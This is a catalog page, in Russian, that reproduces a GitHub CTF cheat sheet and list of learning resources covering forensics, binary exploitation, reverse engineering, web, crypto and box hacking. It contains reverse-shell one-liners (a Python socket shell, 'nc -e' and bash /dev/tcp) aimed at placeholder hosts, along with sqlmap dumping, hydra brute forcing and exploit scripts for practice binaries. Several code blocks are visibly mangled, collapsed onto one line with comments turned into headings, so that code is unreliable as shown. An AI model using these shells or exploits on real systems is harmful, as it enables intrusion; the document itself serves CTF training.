Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CTFs — Шпаргалка по CTF + Writeups / Файлы для некоторых CTF по безопасности, которые я делал. | Kitploit
Инструменты/GitHubGitHub/adamkadaban/ctfs
OSINT (Разведка открытых источников)Обратная инженерияФорензикаВеб-безопасностьСтеганографияКриптографияCTFТестирование на ПроникновениеОбучение и ОбразованиеПодобранные РесурсыЭксплуатация Бинарных ФайловЛаборатории и Практика
84767939 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubadamkadaban/ctfs

CTFs

Шпаргалка по CTF + Writeups / Файлы для некоторых CTF по безопасности, которые я делал.

РепозиторийСайт

CTFs

Writeups / Файлы для некоторых кибер-CTF, в которых я участвовал

Я также включил список ресурсов по CTF и обширную шпаргалку, охватывающую множество распространённых задач CTF

[!NOTE] Теперь есть веб-зеркало этого репозитория по адресу hackback.zip

Содержание

  • Ресурсы

    • YouTube-каналы
    • Сайты для практики / обучения
      • CTF
      • Общие
      • Pwn
      • Rev
      • Web
      • Crypto
      • Смарт-контракты
      • Облако
      • Пентест
  • Шпаргалка по CTF

    • Криминалистика / Стеганография
      • Общие
      • Аудио
      • Изображения
      • Видео
      • Образы машин
      • Pcap
    • Pwn / Эксплуатация бинарных уязвимостей
      • Общие
      • Переполнение буфера
      • PIE (Position Independent Execution)
      • NX (Non-executable)
      • ROP (для статически скомпилированных бинарников)
      • Стэк-канарейка
      • Уязвимости форматной строки
      • Шеллкод
      • Return-to-Libc
    • Реверс-инжиниринг
      • SMT-солверы
      • Реверсинг побайтовых проверок
      • Поиск строк с помощью gef
    • Web
      • Фаззинг полей ввода
    • Криптография
      • CyberChef

      • Распространённые шифры

      • RSA

        • Получение информации RSA с помощью pycryptodome
        • Китайская теорема об остатках (p,q,e,c)
        • Атака Копперсмита (c,e)
        • Атака Полларда (n,e,c)
        • Атака Винера (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • Взлом коробок
      • Подключение
      • Разведка
      • Повышение привилегий
      • Прослушивание на обратную оболочку
      • Обратная оболочка
      • Получение интерактивной оболочки
        • Linux
        • Windows / Общие
    • OSINT
    • Разное

Ресурсы

YouTube-каналы

  • John Hammond
    • Раньше делал много видео по CTF, но переключился на другие вещи
    • Всё ещё много полезных видео. Особенно видео по CTF — отличный способ обучить новичков в кибербезопасности.
  • Live Overflow
    • Делает чрезвычайно интересные и глубокие видео по кибербезопасности.
    • У него есть замечательный плейлист по pwn
  • IppSec
    • Делает райтапы для каждой машины HackTheBox
      • Обсуждает разные способы решения и почему они работают. Очень рекомендую
  • Computerphile
    • Те же люди, что и Numberphile, но круче. Делает действительно понятные для новичков интуитивные видео о базовых концепциях.
  • pwn.college
    • Профессор из ASU, у которого много видео по pwn
    • Материалы курса: https://pwn.college/
    • Множество задач для практики: https://dojo.pwn.college/
  • PwnFunction
    • Очень качественные и легко воспринимаемые анимированные видео на разные темы
    • Темы немного продвинутые, но объясняются доступно
  • Martin Carlisle
    • Делает отличные видео-райтапы по задачам picoCTF.
  • Sam Bowne
    • Профессор CCSF, публикующий все свои лекции и материалы курса в открытом доступе на своём сайте
  • UFSIT
    • Киберкоманда UF (я немного предвзят, но это определённо один из лучших YouTube-каналов по этой теме)

Доклады

Вот несколько слайдов, которые я собрал: hackback.zip/presentations

Сайты для практики / обучения

CTF

  • PicoCTF
    • Масса отличных практических задач.
    • Определённо золотой стандарт для начинающих
  • UCF
    • Хорошие общие задачи, но отличные для практики pwn
    • Сейчас работаю над райтапами здесь
  • hacker101
    • CTF, но немного больше ориентирован на пентест
  • CSAW
    • Работает 90% времени, и обычно ни одно подключение не работает
    • Если работает, то там много хороших вводных задач
  • CTF101
    • Один из лучших вводных материалов по CTF, которые я видел (спасибо osiris)
    • Очень сжатый и понятный для новичков

Общие

  • HackTheBox
    • Оригинальный сайт с коробками
      • Коробки курируются для обеспечения качества
    • Теперь есть и задачи в стиле CTF
    • Появились курсы для начала обучения
  • TryHackMe
    • Немного более лёгкие коробки, чем HackTheBox
    • Пошаговые задачи
    • Теперь есть "обучающие пути", которые ведут вас по темам
  • CybersecLabs
    • Отличная коллекция коробок
    • Есть контент по CTF
  • VulnHub
    • Уязвимые виртуальные машины, которые нужно разворачивать самостоятельно
    • Большое разнообразие, но, по моему мнению, сложно найти хорошие

Pwn

  • pwnable.kr
    • Задачи с хорошим диапазоном сложности
  • pwnable.tw
    • Сложнее, чем pwnable.kr
    • После решения задачи доступны райтапы
  • pwnable.xyz
    • Ещё больше задач по pwn
    • После решения задачи доступны райтапы
    • Можно загружать свои задачи после решения всех
  • pwn dojo
    • По моему мнению, лучшая коллекция задач по pwn
    • Поддержка слайдами, объясняющими как решать, и есть Discord, если нужна помощь
  • nightmare
    • Золотой стандарт для взлома C-бинарников
    • Есть несколько ошибок/опечаток, но в целом отлично
  • pwn notes
    • Заметки какого-то случайного человека в интернете
    • Очень поверхностно, но хорошее введение во всё
  • Security Summer School
    • Курс по безопасности Бухарестского университета
    • Очень доступные для новичков объяснения
  • RPISEC MBE
    • Курс RPI по современной эксплуатации бинарных уязвимостей
    • Хорошее количество лабораторных/проектов для практики и (немного устаревшие) лекции
  • how2heap
    • Серия по эксплуатации кучи от CTF-команды ASU
    • Включает очень удобную функцию отладчика, показывающую, как работают эксплойты
  • ROPEmporium
    • Набор задач на каждой основной архитектуре, обучающий Return-Oriented-Programming
    • Очень высокое качество. Обучает от самых базовых до самых продвинутых техник.
    • Сейчас добавляю свои райтапы здесь
  • Phoenix Exploit Education

Rev

  • challenges.re
    • Очень много задач 0_0
    • Огромное разнообразие
  • reversing.kr
  • crackmes.one
    • Множество задач в стиле crackme (CTF)
  • Malware Unicorn Workshops
    • Бесплатные воркшопы по реверс-инжинирингу и анализу вредоносного ПО

Web

  • websec.fr
    • Много веб-задач с хорошим диапазоном сложности
  • webhacking.kr
    • Архив множества хороших веб-задач
  • Securing Web Applications
    • Открытый курс CCSF
  • OWASP Juice Shop
    • В основном ориентирован на пентест, но полезен для изучения веба в CTF
    • Всего более 100 уязвимостей/задач
  • PortSwigger
    • Золотой стандарт для понимания веб-взлома
    • Множество отличных задач и объяснений
  • DVWA
    • В основном ориентирован на пентест, но полезен для изучения веба в CTF
  • bWAPP
    • В основном ориентирован на пентест, но полезен для изучения веба в CTF
  • CTF Challenge
    • Коллекция веб-задач, созданных Адамом Лэнгли, максимально приближенных к реальности.
    • Полезно для получения опыта в bug bounty

Криптография

  • CryptoHack
    • Сейчас работаю над райтапами здесь
  • cryptopals
    • Оригинальный сайт с задачами по криптографии.
  • CryptoCTF
    • Ежегодный CTF по криптографии. Прошлые годы доступны по адресу 20{19,20,21,22,23,24}.cr.yp.toc.tf.

Смарт-контракты

  • Capture the Ether

Облако

  • CloudFoxable
    • Проводит через настройку уязвимой среды, которую можно эксплуатировать с помощью cloudfox
  • flaws.cloud
    • Бесплатные задачи, связанные с поиском секретов в S3, EC2 и Lambda

Пентест

  • hacker101
  • hacksplaining
  • Exploit developement
    • Открытый курс CCSF
  • Intro to Security
    • Курс Калифорнийского университета в Сан-Диего, ведёт Deian Stefan
    • Охватывает базовый pwn и криптографию
  • Active Directory Cheat Sheet
  • WADComs
    • Интерактивная шпаргалка для сред Windows/AD
  • LOLBAS
    • Интерактивная шпаргалка для Windows "Living off the land" — бинарники, скрипты и библиотеки для эксплуатации
  • GTFOBins
    • Интерактивная шпаргалка для Linux "Living off the land" — техники.

Шпаргалка по CTF

Криминалистика / Стеганография

Общие

  • AperiSolve
    • Инструмент, который автоматически запускает другие стего-инструменты
  • Отличный ресурс от John Hammond для разных типов задач:
    • https://github.com/JohnHammond/ctf-katana
  • Ещё одна очень хорошая шпаргалка для создания и решения задач:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • Определяет тип файла
  • steghide
    • steghide extract -sf <file.xyz>
    • Извлекает встроенные файлы
  • stegseek
    • stegseek <file> <password list>
    • Извлекает встроенные файлы с помощью словаря
    • Очень-очень быстро
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • Извлекает встроенные файлы
  • exiftool
    • exiftool <file.xyz>
    • Читает метаданные
  • strings
    • strings <file.xyz>
    • Находит все печатные символы в файле
  • hexedit
    • hexedit <file.xyz>

Аудио

  • Аудио факса:

    • Пример
    • Декодер
  • Аудио SSTV (slow-scan tv) (лунная ерунда)

    • Пример
    • Декодер
    • Альтернативный декодер
    • Используйте эти настройки qsstv:

    Настройки SSTV

  • Спектрограмма изображения

    • Декодер
  • Изменение высоты тона, скорости, направления...

    • Высота, скорость, строй
    • Реверс
  • DTMF (двухтональный многочастотный) телефонные клавиши

    • multimon-ng -a DTMF -t wav <file.wav>
      • Имейте в виду, что это могут быть мультитап-буквы.
        • Этот сервис может декодировать числа в текст
  • Кассетная лента

    • Пример
    • Декодер (wav в tap файлы)
  • Азбука Морзе

    • Декодер

Изображения

  • stegsolve

    • Переключаться по битовым плоскостям
  • foremost

    • Специальный инструмент для извлечения изображений
    • Можно использовать для сборки повреждённых изображений (например, в pcap)
  • Depix

    • Убирает пикселизацию с текста
  • Проверить, было ли что-то отфотошоплено (посмотреть на светлые участки)

    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg

    • LSB-декодер
  • jsteg

    • Решатель стеганографии в JPEG
  • pixrecovery

    • На данный момент самый эффективный инструмент восстановления PNG, который я нашёл (если не важны водяные знаки)
    • photopea тоже очень хорошо работает
  • crc32fix

    • Исправление высоты и ширины PNG на основе контрольной суммы
  • PCRT

    • Исправление информации заголовка и футера PNG
  • png-crc-fix

    • Исправление контрольной суммы PNG
  • pngcheck

    • Узнать, есть ли ошибки в PNG
    • pngcheck

Видео

Образы машин

  • Восстановление файлов
    • photorec <file.bin>
  • Можно смонтировать образ как виртуальную машину
    • https://habr.com/en/post/444940/
  • Смонтировать файл .img:
    • binwalk -M --dd=".*" <fileName>
    • запустите file на выходных данных и выберите файл файловой системы Linux
    • losetup /dev/loop<freeLoopNumber> <fileSystemFile>

Pcap

  • Извлечение данных с помощью tcpflow
    • tcpflow -r <file.pcap>
  • Извлечение данных с помощью wireshark
    • File → Export Objects → Make selection

Pwn / Эксплуатация бинарных уязвимостей

  • Для этой темы рекомендую посмотреть мой репозиторий LearnPwn, поскольку эта шпаргалка была создана до того, как я много знал о pwn
    • Однако я включил некоторые дополнительные заметки к тому, что здесь есть.

Общие

  • Проверка безопасности ELF
    • checksec <binary>
    • rabin2 -I <binary>
  • Проверка безопасности PE
    • binary-security-check
    • binary-security-check <bin>.exe
  • Проверка seccomp bpf
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • Просмотр символов
    • readelf -s <binary>
  • Просмотр строк
    • rabin2 -z <binary>
  • Упаковка адреса в байты
    • little endian (для 32 бит)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • big endian (для 64 бит)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntools автоматически упаковывает адреса с правильным порядком байтов

Переполнение буфера

  • Если когда-нибудь понадобится получить оболочку /bin/sh и вы уверены, что это сработает, но программа всё равно завершается, используйте этот трюк:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntools делает это с помощью process.interactive()

PIE (Position Independent Execution)

  • Определить случайное значение
    • pwn cyclic <numChars> для генерации полезной нагрузки
    • dmesg | tail | grep segfault чтобы увидеть, где произошла ошибка
    • pwn cyclic -l 0x<errorLocation> чтобы увидеть смещение для управления счётчиком команд
    • пример

NX (Non-executable)

  • Мы можем использовать ROP (return oriented programming) для решения

ROP (для статически скомпилированных бинарников)

  • ROPgadget
    • просмотр гаджетов и автоматическая генерация ROP-цепочек
    • ROPgadget --ropchain --binary <binary>
      • Затем можно добавить padding в начале кода (на основе разницы между вашим буфером и адресом возврата) и выполнить код, чтобы получить оболочку
      • Демо
  • ropr

Стэк-канарейкаПоиск стековой канарейки в отладчике

  • Стековая канарейка — это значение, помещаемое перед EIP/RIP (указателем инструкций), которое может быть перезаписано переполнением буфера. Программа вызывает ошибку, если стек перезаписывается чем-то отличным от исходного значения. Наша цель — найти исходный стек, чтобы при переполнении программа работала нормально.
  • Стековая канарейка берется из gs или fs (для 32- и 64-битных систем соответственно)
    • В дизассемблировании, перед тем как что-то считывается, вы можете увидеть строку, похожую на следующую:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- Здесь канарейка стека перемещается в `rax` со смещением +8.
    - Таким образом, поставьте точку останова на следующем смещении и проверьте, что находится в rax (`i r rax`), чтобы увидеть текущую канарейку.

**Статические канарейки**
- Канарейка является статической только в том случае, если она была реализована программистом вручную (что имеет место в некоторых вводных задачах pwn), или если вы можете ответвить программу.
    - Когда вы форкуете бинарный файл, дочерний процесс имеет ту же канарейку, поэтому вы можете выполнить побайтовый перебор (bruteforce) на ней.

**Дополнительно**
- Если стековая канарейка неправильно перезаписана, это приведет к вызову `__stack_chk_fail`
    - Если мы не можем извлечь (leak) канарейку, мы также можем изменить таблицу GOT, чтобы предотвратить его вызов.
- Канарейка хранится в структуре `TLS` текущего стека и инициализируется функцией `security_init`
    - Если вы можете перезаписать реальное значение канарейки, вы можете установить его равным тому, что вы решили переполнить.

- Простой скрипт для перебора (bruteforce) статической 4-байтовой канарейки:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

Уязвимости форматной строки

  • Посмотрите Таблицу 2, что попробовать, если вы видите "printf(buf)" или что-то подобное:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • Настоятельно рекомендую посмотреть, как Джон Хаммонд решает задание 'echooo' из picoCTF 2018
  • Иногда попытка печатать только строки из стека, например: '%s %s %s %s %s %s', может вызвать ошибки, поскольку не всё в стеке является строкой.
  • Попробуйте уменьшить это, используя вместо этого '%x %x %x %x %x %s'
  • Вместо того чтобы постоянно увеличивать количество %x и %s, вы можете передать параметр для упрощения:
    • %1$s - Выведет первое значение в стеке (насколько я понимаю, то, которое находится сразу рядом с вашим буфером) как строку.
    • %2$s - Выведет второе значение как строку, и так далее.
    • Вы можете использовать однострочные циклы для поиска флага, утекая стек. Нажмите ^C (CTRL + C), чтобы перейти к следующему значению.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • Вы можете контролировать, сколько утекать, используя разные параметры размера:
    • %hhx утекает 1 байт (половина половины размера int)
    • %hx утекает 2 байта (половина размера int)
    • %x утекает 4 байта (размер int)
    • %lx утекает 8 байт (размер long)

Шеллкод

  • Хороший сайт для поиска различных шеллкодов:
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • Мы перезапишем EIP, чтобы вызвать библиотечную функцию system(), и также передадим то, что она должна выполнить, в данном примере буфер с "/bin/sh"

  • Хорошее объяснение:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • Хороший пример (перейдите на 3:22:44):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • Получить адрес для execve("/bin/sh")

    • one_gadget <libc file>
  • Если вы уже знаете файл libc и расположение (т.е. не нужно их утекать...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## Реверс-инжиниринг

> Полезное руководство: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - Очень полезный декомпилятор
- dotPeek или dnSpy
    - декомпилирует .NET исполняемые файлы
- [jadx](https://github.com/skylot/jadx) и jadx-gui
    - декомпилирует APK
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - декомпилирует Java онлайн
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - Продвинутый терминальный декомпилятор Java
- apktool
    - декомпилирует APK
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - Анализ бинарных файлов
    - [peda](https://github.com/longld/peda) (расширение для расширения функциональности)
    - [gef](https://github.com/hugsy/gef) (расширение gdb для pwn-эксплойтов)
- [radare2](https://github.com/radareorg/radare2)
    - Анализ бинарных файлов
- [FLOSS](https://github.com/mandiant/flare-floss)
    - `strings` на стероидах. Использует статический анализ для поиска и вычисления строк

#### SMT-решатели
- [angr](https://github.com/angr/angr) (python)
    - [Документация](https://docs.angr.io/core-concepts/toplevel)
    - [Учебник](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Учебник](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### Реверсирование побайтовых проверок (атака по побочным каналам)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- Вот версия, которую я сделал для задания, использующего атаку по времени:
    - Возможно, придётся запустить его несколько раз, чтобы учесть случайность```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

Поиск строк с помощью gef

  • Если ваш флаг читается в переменную или регистр в какой-то момент, вы можете остановиться после его перемещения и выполнить grep <string>, и gef автоматически покажет строку, соответствующую вашему шаблону поиска

Web

  • Nikto (если разрешено)
    • автоматически ищет уязвимости
  • gobuster (если разрешено)
    • Перебор каталогов и файлов
  • hydra (если разрешено)
    • Перебор логинов для различных сервисов
  • BurpSuite
    • Перехватывает веб-запросы и позволяет их изменять
  • Wireshark
    • Анализ сетевого трафика в реальном времени и pcap-файлов
  • php reverse shell
    • Полезно для сайтов, которые позволяют загружать файлы
    • Этот файл необходимо выполнить на сервере для работы
  • WPScan
    • Сканирование сайтов на WordPress
    • Используйте wpscan --url <site> --plugins-detection mixed -e с API-ключом для наилучших результатов
  • jwt
    • Вы можете идентифицировать JWT-токен, так как base64-закодированный json (и, соответственно, JWT-токены) начинается с "ey"
    • Этот сайт декодирует JSON Web Tokens
    • Вы можете взломать секрет для JSON Web Token, чтобы изменить и подписать свои собственные токены
      • echo <token> > jwt.txt
      • john jwt.txt
  • SQL-инъекции
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

Фаззинг полей ввода

  • FFUF
    • Скопируйте запрос в поле ввода и замените параметр на "FUZZ":
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • Используйте -fs для фильтрации размеров

Криптография

CyberChef

  • CyberChef
    • Выполняет различные криптографические операции

Детектор шифров

Хеши

  • hashid
    • Утилита командной строки для определения типа хеша

Распространённые шифры

  • Шифр Цезаря
  • Шифр Виженера```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Шифр подстановки](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Шифр Цезаря с ключом](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### Получение информации RSA с помощью pycryptodome```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Китайская теорема об остатках (p, q, e, c)

  • Используйте это, когда можете разложить число n

    • Плохие реализации будут содержать более одного простого множителя
    • Доказательство
  • Старый```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- Новинка```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • Веб-сайт, который предоставляет множители и функцию Эйлера (фи)
    • https://www.alpertron.com.ar/ECM.HTM

Атака Копперсмита (c,e)

  • Обычно используется, если показатель степени очень мал (e <= 5)

    • Доказательство```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Атака Полларда (n,e,c)
- Основан на [методе факторизации Полларда](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), который делает произведения простых чисел [легко факторизуемыми](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf), если они являются (B)-гладкими 
    - Это верно, если `p-1 | B!` и `q - 1` содержит множитель > `B````python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Wiener Attack (n,e,c)

  • Используется, когда d слишком мало (или e слишком велико)
    • Используйте этот python модуль
    • Доказательство```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## Box

### Подключение

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - Монтирование SSH как файловой системы локально:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - Известные хосты
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### Перебор

- Обнаружение машин
    - `netdiscover`
- Сканирование портов машины
    - `nmap -sC -sV <ip>`
- Перебор Linux
    - `enum4linux <ip>`
    
- Перебор SMB
    - `smbmap -H <ip>`
- Подключение к SMB-ресурсу
    - `smbclient //<ip>/<share>`

### Повышение привилегий

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - Автоматически ищет векторы повышения привилегий
- Список команд, которые мы можем выполнять от root
    - `sudo -l`
- Поиск файлов с SUID-битом
    - `find / -perm -u=s -type f 2>/dev/null`
    - Эти файлы выполняются с привилегиями владельца, а не пользователя, который их запускает
- Просмотр прав для всех служб
    - `accesschk.exe -uwcqv *`
    - Искать службы, которые не принадлежат учётным записям System или Administrator
- Запрос службы
    - `sc qc <service name>`
    - Работает только в cmd.exe 

### Прослушивание обратной оболочки

- `nc -lnvp <port>`

### Обратная оболочка

- revshells.com
    - шаблоны практически для всего, что может понадобиться
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### Получение интерактивной оболочки

#### Linux

1. Выполните следующую команду python, чтобы сделать её частично интерактивной: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Выйдите из сессии netcat с помощью `CTRL+Z` и выполните локально `stty raw -echo`
3. Вернитесь в свою сессию командой `fg` (и при необходимости укажите номер задания)
4. Измените эмулятор терминала на xterm, выполнив `export TERM=xterm` (возможно, это необязательно)
5. Измените свою оболочку на bash, выполнив `export SHELL=bash` (возможно, это необязательно)
6. Готово! Теперь ваша оболочка должна быть полностью интерактивной

#### Windows / Общее

1. Установите `rlwrap` на свою систему
2. Теперь при каждом запуске слушателя nc просто добавляйте `rlwrap` в начало
3. Например: `rlwrap nc -lvnp 1337`
    * Это даст стрелки и историю команд, но не автодополнение (насколько я могу судить) для Windows и *nix систем 

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - Обратный поиск лиц в интернете
- [OSINT Framework](https://osintframework.com/)
    - Сайт, объединяющий множество инструментов OSINT
- [GeoSpy AI](https://geospy.ai)
	- Геопространственная LLM, способная оценить местоположение по изображению
- [overpass turbo](https://overpass-turbo.eu)
	- Сайт, позволяющий запрашивать API OpenStreetMap и визуализировать результаты
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- Сайт, позволяющий легко запрашивать API OSM

## Разное

- Разрешение DNS-ошибок
    - `dig <site> <recordType>`
    - [Список типов записей](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - Обязательно попробуйте TXT
- Запуск бинарника под другой архитектурой
    - 64-битная:
        - `linux64 ./<binary>`
    - 32-битная:
        - `linux32 ./<binary>`
        
- Извлечение макросов MS:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- Просмотр GCode ЧПУ
    - [https://ncviewer.com/](https://ncviewer.com/)
Скачать инструмент
  • Gynvael
    • Делает поразительно интуитивные видео-райтапы. Прошёл весь picoCTF 2019 (это много)
  • Black Hills Information Security
    • Компания в сфере безопасности, производящая массу учебного контента
    • Постоянно проводит бесплатные курсы и вебинары по темам безопасности
  • stacksmashing
    • Потрясающие видео по реверс-инжинирингу и взлому аппаратного обеспечения
